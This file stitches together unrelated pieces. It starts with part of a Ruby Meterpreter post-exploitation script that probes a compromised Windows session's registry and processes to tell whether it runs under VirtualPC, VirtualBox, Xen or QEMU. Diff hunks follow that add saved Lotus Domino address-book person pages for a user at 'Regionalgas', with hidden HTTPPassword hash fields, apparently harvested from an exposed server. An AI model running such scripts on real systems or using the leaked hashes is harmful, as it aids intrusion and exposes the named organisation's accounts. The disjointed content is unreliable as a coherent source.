key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vpcbus")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("vpc-s3")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("vpcuhub")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("msvmmouf")
print_status("This is a VirtualPC Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def vboxchk(session)
vm = false
vboxprocs = [
"vboxservice.exe",
"vboxtray.exe"
]
vboxprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a Sun VirtualBox Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /vbox/
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System')
if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBoxMouse")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxGuest")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxService")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxSF")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def xenchk(session)
vm = false
xenprocs = [
"xenservice.exe"
]
xenprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a Xen Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("xenevtchn")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xennet")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xennet6")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xensvc")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xenvdb")
print_status("This is a Xen Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def qemuchk(session)
vm = false
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /qemu/
print_status("This is a QEMU/KVM Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0')
if key.query_value('ProcessorNameString').data.downcase =~ /qemu/
print_status("This is a QEMU/KVM Virtual Machine")
vm = true
end
rescue
end
end
return vm
end
if client.platform == 'windows'
print_status("Checking if target is a Virtual Machine .....")
found = hypervchk(session)
found = vmwarechk(session) if not found
found = checkvrtlpc(session) if not found
found = vboxchk(session) if not found
found = xenchk(session) if not found
found = qemuchk(session) if not found
print_status("It appears to be physical host.") if not found
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
@@ -0,0 +1,500 @@
<html>
<head>
<title>Bdn Alln</title><meta http-equiv='expires' content='0'>
<link rel=stylesheet type='text/css' href='/names.nsf/cssForm?ReadForm'>
<script>
var sElementType = 'document';
var sDocType = 'person';
var sDBFileName = 'names.nsf';
var sDocUNID = '9B3aaFA7a1A1bC54d798dB7afA5721E5';
var sDefaultView = 'People';
var sWebDbName = '/names.nsf/';
var isDom6 = true;
</script><script src='/names.nsf/WebJSTools?OpenJavaScriptLibrary'></script>
<script src='/names.nsf/WebJSNavigationTools?OpenJavaScriptLibrary'></script>
<script language="JavaScript" type="text/javascript">
<!--
// ignore if not Domino 6 if (navigator.appCodeName != 'Domino') { if (isDom6) { var hDlgListboxPolicy = new cDlgListbox('Single') } }
// -->
</script>
<script language="JavaScript" type="text/javascript">
<!--
document._domino_target = "_self";
function _doClick(v, o, t) {
var returnValue = false;
var url="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&Click=" + v;
if (o.href != null) {
o.href = url;
returnValue = true;
} else {
if (t == null)
t = document._domino_target;
window.open(url, t);
}
return returnValue;
}
// -->
</script>
<script language="JavaScript" type="text/javascript">
<!--
function Action1_onClick() {
ntEditDoc('[UserModifier]')
}
function Action2_onClick() {
ntCancel()
}
function Action(href,oc,t) { this.href = href; this.onClick = oc; this.target = t; }
var dominoActions = new Array();
dominoActions[1] = new Action(null,Action1_onClick,'_self');
dominoActions[2] = new Action(null,Action2_onClick,'_self');
function doAction(n) {
var action = dominoActions[n];
if (action.href)
window.open(action.href,action.target);
else if (action.onClick) {
currentTarget = document._domino_target;
document._domino_target = action.target;
action.onClick();
document._domino_target = currentTarget;
}}
// -->
</script>
</head>
<body text="#000000" bgcolor="#FFFFFF" topmargin=0 leftmargin=0 marginheight=0 marginwidth=0>
<form onsubmit="// ignore if not Domino 6 if (navigator.appCodeName != 'Domino') { if (isDom6) { syncFields(document.forms[0], 'Certificate') } } return true;" action="">
<applet name="dominoActionBar" code="lotus.notes.apps.actionbar.ActionBar.class" codebase="/domjava" archive="actionbar.jar" alt="Aktionsleiste" width="100%" height="38" mayscript>
<param name="cabbase" value="actionbar.cab">
<param name="BGColor" value="#B1B1D2">
<param name="ButtonBGColor" value="#B1B1D2">
<param name="BorderColor" value="#000000">
<param name="ButtonTransparent" value="1">
<param name="ButtonBorderStyle" value="ONMOUSEOVER">
<param name="BorderStyle" value="1">
<param name="BorderWidth" value="0,3,0,0">
<param name="InnerWidth" value="0,0,0,0">
<param name="OuterWidth" value="0,0,0,0">
<param name="ShowHinkyAlways" value="1">
<param name="ButtonHeightType" value="DEFAULT">
<param name="ButtonHeight" value="8">
<param name="ButtonWidthType" value="DEFAULT">
<param name="ButtonWidth" value="0">
<param name="ButtonTextJustify" value="3">
<param name="FontName" value="Helvetica">
<param name="FontSize" value="9">
<param name="FontStyle" value="P">
<param name="TextColor" value="#000000">
<param name="Action1" value="Edit Person,/names.nsf/btnEdit.gif?OpenImageResource,1,0,1,1,0,0">
<param name="Action2" value="Cancel,/names.nsf/btnCancel.gif?OpenImageResource,2,0,1,1,0,0">
<param name="NumActions" value="2">
</applet>
<table cellpadding=10 width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td style="background-image:url(/names.nsf/people?OpenImageResource); background-repeat: repeat-x; " width="100%"><font size="5" color="#424282">Person</font><font size="5" color="#424282">: </font><b><font size="5" color="#424282">Bdn Alln</font></b><font size="5" color="#424282"> </font><font size="5" color="#424282"> </font><b><font color="#424282"></font></b></td></tr>
</table>
<table border="0" cellspacing="2">
<tr><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><b>Basics</b></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.1#12." target="_self">Work/Home</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.2#12." target="_self">Other</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.3#12." target="_self">Miscellaneous</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.4#12." target="_self">Certificates</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.5#12." target="_self">Roaming</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.8#12." target="_self">Administration</a></div></td></tr>
</table>
</td></tr>
</table>
<table id="Person_Main" cellpadding=7 width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="100%">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="54%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<table id="Person_Basics" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<b><font size="2" color="#FFFFFF">Basics</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">First name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Bdn</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Middle name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Last name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Alln</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">User name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Bdn Alln</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Alternate name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font>
<p><font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Short name/UserID:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Bdn Alln</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Personal title:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Generational qualifier:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Internet password:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Preferred language</font><font size="2">:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
</table>
</td><td style="padding-left:10px;" width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td><td width="46%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<table id="Person_Mail" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<b><font size="2" color="#FFFFFF">Mail</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Mail system:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Notes</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Domain:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Mail server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Mail file:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">portal/Alln_1.nsf</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Forwarding address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Internet address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Format preference for incoming mail:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Keep in senders' format</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">When receiving unencrypted mail, encrypt before storing in your mailfile:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">No</font></td></tr>
</table>
<table id="PerSchTable" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td id="PerSchTable_a" width="1%" bgcolor="#B1B1D2" valign="middle"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<b><font size="2" color="#FFFFFF">Collaboration</font></b></td><td id="PerSchTable_b" width="100%" bgcolor="#B1B1D2" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Instant messaging server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
</table>
</td><td width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
</table>
</td></tr>
</table>
<input name="Type" type="hidden" value="Person">
<input name="DisplayName" type="hidden" value="Bdn Alln">
<input name="DisplayMailAddress" type="hidden" value="">
<input name="$HTMLAttributes" type="hidden" value="">
<input name="$dspFirstName" type="hidden" value="Bdn">
<input name="$dspMiddleInitial" type="hidden" value="">
<input name="$dspLastName" type="hidden" value="Alln">
<input name="$dspFullName" type="hidden" value="Bdn Alln">
<input name="$dspAltFullName" type="hidden" value="">
<input name="$dspAltFullNamePdeyuageDisplay" type="hidden" value="">
<input name="$dspShortName" type="hidden" value="Bdn Alln">
<input name="$dspTitle" type="hidden" value="">
<input name="$dspSuffix" type="hidden" value="">
<input name="$dspHTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
<input name="$dspMailSystem" type="hidden" value="1">
<input name="$dspMailDomain" type="hidden" value="">
<input name="$dspMailServer" type="hidden" value="">
<input name="$dspMailFile" type="hidden" value="portal/Alln_1.nsf">
<input name="$dspCcMailUserName" type="hidden" value="">
<input name="$dspMailAddress" type="hidden" value="">
<input name="$dspCcMailLocation" type="hidden" value="">
<input name="$dspInternetAddress" type="hidden" value="">
<input name="$dspMessageStorage" type="hidden" value="1">
<input name="$dspEncryptIncomingMail" type="hidden" value="0">
<input name="$dspJobTitle" type="hidden" value="">
<input name="$dspOfficeStreetAddress" type="hidden" value="">
<input name="$dspCompanyName" type="hidden" value="Regionalgas">
<input name="$dspOfficeCity" type="hidden" value="">
<input name="$dspDepartment" type="hidden" value="">
<input name="$dspOfficeState" type="hidden" value="">
<input name="$dspEmployeeID" type="hidden" value="">
<input name="$dspOfficeZIP" type="hidden" value="">
<input name="$dspLocation" type="hidden" value="">
<input name="$dspOfficeCountry" type="hidden" value="">
<input name="$dspManager" type="hidden" value="">
<input name="$dspOfficeNumber" type="hidden" value="">
<input name="$dspOfficePhoneNumber" type="hidden" value="">
<input name="$dspOfficeFAXPhoneNumber" type="hidden" value="">
<input name="$dspCellPhoneNumber" type="hidden" value="">
<input name="$dspPhoneNumber_6" type="hidden" value="">
<input name="$dspAssistant" type="hidden" value="">
<input name="$dspStreetAddress" type="hidden" value="">
<input name="$dspCity" type="hidden" value="">
<input name="$dspState" type="hidden" value="">
<input name="$dspZip" type="hidden" value="">
<input name="$dspCountry" type="hidden" value="">
<input name="$dspPhoneNumber" type="hidden" value="">
<input name="$dspHomeFAXPhoneNumber" type="hidden" value="">
<input name="$dspSpouse" type="hidden" value="">
<input name="$dspChildren" type="hidden" value="">
<input name="$dspPersonalID" type="hidden" value="">
<input name="$dspLevel0" type="hidden" value="">
<input name="$dspLevel0_1" type="hidden" value="">
<input name="$dspLevel0_2" type="hidden" value="">
<input name="$dspLevel0_3" type="hidden" value="">
<input name="$dspLevel1" type="hidden" value="">
<input name="$dspLevel1_1" type="hidden" value="">
<input name="$dspLevel1_2" type="hidden" value="">
<input name="$dspLevel1_3" type="hidden" value="">
<input name="$dspLevel2" type="hidden" value="">
<input name="$dspLevel2_1" type="hidden" value="">
<input name="$dspLevel2_2" type="hidden" value="">
<input name="$dspLevel2_3" type="hidden" value="">
<input name="$dspLevel3" type="hidden" value="">
<input name="$dspLevel3_1" type="hidden" value="">
<input name="$dspLevel3_2" type="hidden" value="">
<input name="$dspLevel3_3" type="hidden" value="">
<input name="$dspLevel4" type="hidden" value="">
<input name="$dspLevel4_1" type="hidden" value="">
<input name="$dspLevel4_2" type="hidden" value="">
<input name="$dspLevel4_3" type="hidden" value="">
<input name="$dspLevel5" type="hidden" value="">
<input name="$dspLevel5_1" type="hidden" value="">
<input name="$dspLevel5_2" type="hidden" value="">
<input name="$dspLevel5_3" type="hidden" value="">
<input name="$dspLevel6" type="hidden" value="">
<input name="$dspLevel6_1" type="hidden" value="">
<input name="$dspLevel6_2" type="hidden" value="">
<input name="$dspLevel6_3" type="hidden" value="">
<input name="$dspComment" type="hidden" value="">
<input name="$dspx400Address" type="hidden" value="">
<input name="$dspCalendarDomain" type="hidden" value="">
<input name="$dspWebSite" type="hidden" value="">
<input name="$dspAltFullNameSort" type="hidden" value="">
<input name="$dspCertificate" type="hidden" value="">
<input name="$dspUserCertificateDisplay" type="hidden" value="0">
<input name="$dspX509Issuers" type="hidden" value="">
<input name="$dspPublicKey" type="hidden" value="">
<input name="$dspOwner" type="hidden" value="">
<input name="$dspClientType" type="hidden" value="">
<input name="$dspLocalAdmin" type="hidden" value="">
<input name="$dspProfiles" type="hidden" value="">
<input name="$dspCheckPassword" type="hidden" value="0">
<input name="$dspAvailableForDirSync" type="hidden" value="1">
<input name="$dspPasswordChangeInterval" type="hidden" value="0">
<input name="$dspNetUserName" type="hidden" value="">
<input name="$dspPasswordGracePeriod" type="hidden" value="0">
<input name="$dspSametimeServer" type="hidden" value="">
<input name="$dspPasswordChangeDate" type="hidden" value="">
<input name="$dspPasswordDigest" type="hidden" value="">
<input name="$dspDisplayChangeRequest" type="hidden" value="None">
<input name="FirstName" type="hidden" value="Bdn">
<input name="MiddleInitial" type="hidden" value="">
<input name="LastName" type="hidden" value="Alln">
<input name="FullName" type="hidden" value="Bdn Alln">
<input name="AltFullName" type="hidden" value="">
<input name="AltFullNamePdeyuage" type="hidden" value="">
<input name="AltFullNamePdeyuageDisplay" type="hidden" value="">
<input name="ShortName" type="hidden" value="Bdn Alln">
<input name="Title" type="hidden" value="">
<input name="Suffix" type="hidden" value="">
<input name="HTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
<input name="dspHTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
<input name="preferredPdeyuage" type="hidden" value="">
<input name="MailSystem" type="hidden" value="1">
<input name="MailDomain" type="hidden" value="">
<input name="MailServer" type="hidden" value="">
<input name="MailFile" type="hidden" value="portal/Alln_1.nsf">
<input name="ccMailUserName" type="hidden" value="">
<input name="MailAddress" type="hidden" value="">
<input name="ccMailLocation" type="hidden" value="">
<input name="InternetAddress" type="hidden" value="">
<input name="MessageStorage" type="hidden" value="1">
<input name="EncryptIncomingMail" type="hidden" value="0">
<input name="SametimeServer" type="hidden" value="">
<input name="JobTitle" type="hidden" value="">
<input name="CompanyName" type="hidden" value="Regionalgas">
<input name="Department" type="hidden" value="">
<input name="EmployeeID" type="hidden" value="">
<input name="Location" type="hidden" value="">
<input name="Manager" type="hidden" value="">
<input name="OfficePhoneNumber" type="hidden" value="">
<input name="OfficeFAXPhoneNumber" type="hidden" value="">
<input name="CellPhoneNumber" type="hidden" value="">
<input name="PhoneNumber_6" type="hidden" value="">
<input name="Assistant" type="hidden" value="">
<input name="OfficeStreetAddress" type="hidden" value="">
<input name="OfficeCity" type="hidden" value="">
<input name="OfficeState" type="hidden" value="">
<input name="OfficeZIP" type="hidden" value="">
<input name="OfficeCountry" type="hidden" value="">
<input name="OfficeNumber" type="hidden" value="">
<input name="StreetAddress" type="hidden" value="">
<input name="City" type="hidden" value="">
<input name="State" type="hidden" value="">
<input name="Zip" type="hidden" value="">
<input name="Country" type="hidden" value="">
<input name="PhoneNumber" type="hidden" value="">
<input name="HomeFAXPhoneNumber" type="hidden" value="">
<input name="Spouse" type="hidden" value="">
<input name="Children" type="hidden" value="">
<input name="PersonalID" type="hidden" value="">
<input name="Level0" type="hidden" value="">
<input name="Level0_1" type="hidden" value="">
<input name="Level0_2" type="hidden" value="">
<input name="Level0_3" type="hidden" value="">
<input name="Level1" type="hidden" value="">
<input name="Level1_1" type="hidden" value="">
<input name="Level1_2" type="hidden" value="">
<input name="Level1_3" type="hidden" value="">
<input name="Level2" type="hidden" value="">
<input name="Level2_1" type="hidden" value="">
<input name="Level2_2" type="hidden" value="">
<input name="Level2_3" type="hidden" value="">
<input name="Level3" type="hidden" value="">
<input name="Level3_1" type="hidden" value="">
<input name="Level3_2" type="hidden" value="">
<input name="Level3_3" type="hidden" value="">
<input name="Level4" type="hidden" value="">
<input name="Level4_1" type="hidden" value="">
<input name="Level4_2" type="hidden" value="">
<input name="Level4_3" type="hidden" value="">
<input name="Level5" type="hidden" value="">
<input name="Level5_1" type="hidden" value="">
<input name="Level5_2" type="hidden" value="">
<input name="Level5_3" type="hidden" value="">
<input name="Level6" type="hidden" value="">
<input name="Level6_1" type="hidden" value="">
<input name="Level6_2" type="hidden" value="">
<input name="Level6_3" type="hidden" value="">
<input name="Comment" type="hidden" value="">
<input name="x400Address" type="hidden" value="">
<input name="CalendarDomain" type="hidden" value="">
<input name="WebSite" type="hidden" value="">
<input name="PhotoURL" type="hidden" value="">
<input name="AltFullNameSort" type="hidden" value="">
<input name="CertificateDisplay" type="hidden" value="0">
<input name="Certificate" type="hidden" value="">
<input name="ChangeRequest" type="hidden" value="">
<input name="UserCertificateDisplay" type="hidden" value="0">
<input name="X509Issuers" type="hidden" value="">
<input name="PublicKey" type="hidden" value="">
<input name="RoamingUser" type="hidden" value="0">
<input name="RoamSrvr" type="hidden" value="">
<input name="RoamRplSrvrs" type="hidden" value="">
<input name="RoamSubdir" type="hidden" value="">
<input name="RoamAB" type="hidden" value="">
<input name="BkmksFile" type="hidden" value="">
<input name="JrnlFile" type="hidden" value="">
<input name="RoamExtFiles" type="hidden" value="">
<input name="RoamMode" type="hidden" value="">
<input name="RoamCleanSetting" type="hidden" value="0">
<input name="RoamCleanSettingDsp" type="hidden" value="Do not clean-up">
<input name="RoamCleanPer" type="hidden" value="1">
<input name="Owner" type="hidden" value="">
<input name="LocalAdmin" type="hidden" value="">
<input name="AvailableForDirSync" type="hidden" value="1">
<input name="LastMod" type="hidden" value="05/11/2017 08:22:13 AM CRM Portal/EUS/GVE">
<input name="CheckPassword" type="hidden" value="0">
<input name="PasswordChangeInterval" type="hidden" value="0">
<input name="PasswordGracePeriod" type="hidden" value="0">
<input name="PasswordChangeDate" type="hidden" value="">
<input name="PasswordDigest" type="hidden" value="">
<input name="HTTPPasswordChangeDate" type="hidden" value="">
<input name="HTTPPasswordForceChange" type="hidden" value="1">
<input name="DispPolicy" type="hidden" value="">
<input name="Policy" type="hidden" value="">
<input name="Profiles" type="hidden" value="">
<input name="DisplayChangeRequest" type="hidden" value="None">
<input name="NetUserName" type="hidden" value="">
<input name="LTPA_UsrNm" type="hidden" value="">
<input name="DB2UserName" type="hidden" value="">
<input name="krbPrincipalName" type="hidden" value="">
<input name="ClientType" type="hidden" value="">
<input name="ClntMachine" type="hidden" value="">
<input name="ClntBld" type="hidden" value="">
<input name="ClntPltfrm" type="hidden" value="">
<input name="ClntDate" type="hidden" value="">
<input name="DocumentAccess" type="hidden" value="[UserModifier]">
<input name="tmpNow" type="hidden" value="04/29/2022 04:17 PM CEDT">
<input name="$CryptoCap" type="hidden" value="0">
<input name="$Person_Main" type="hidden" value="0">
<input name="$Person_Detail" type="hidden" value="0">
<input name="$Person_Cert" type="hidden" value="0">
<input name="$dspTTControl" type="hidden" value="">
<input name="ibm_bhMailInfo" type="hidden" value="">
<input name="OU" type="hidden" value="">
<input name="PostalAddress" type="hidden" value="">
<input name="HomePostalAddress" type="hidden" value="">
<input name="Street" type="hidden" value="">
<input name="businessCategory" type="hidden" value="">
<input name="carLicense" type="hidden" value="">
<input name="departmentNumber" type="hidden" value="">
<input name="employeeNumber" type="hidden" value="">
<input name="employeeType" type="hidden" value="">
<input name="initials" type="hidden" value="">
<input name="labeledURI" type="hidden" value="">
<input name="o" type="hidden" value="">
<input name="roomNumber" type="hidden" value="">
<input name="UserCertificate" type="hidden" value="">
<input name="x500UniqueIdentifier" type="hidden" value="">
<input name="x121Address" type="hidden" value="">
<input name="registeredAddress" type="hidden" value="">
<input name="destinationIndicator" type="hidden" value="">
<input name="preferredDeliveryMethod" type="hidden" value="">
<input name="telexNumber" type="hidden" value="">
<input name="telexGgkehgalIdentifier" type="hidden" value="">
<input name="internationaliSDNNumber" type="hidden" value="">
<input name="seeAlso" type="hidden" value=""></form>
</body>
</html>
@@ -0,0 +1,498 @@
<html>
<head>
<title>Bdn Alln</title><meta http-equiv='expires' content='0'>
<link rel=stylesheet type='text/css' href='/names.nsf/cssForm?ReadForm'>
<script>
var sElementType = 'document';
var sDocType = 'person';
var sDBFileName = 'names.nsf';
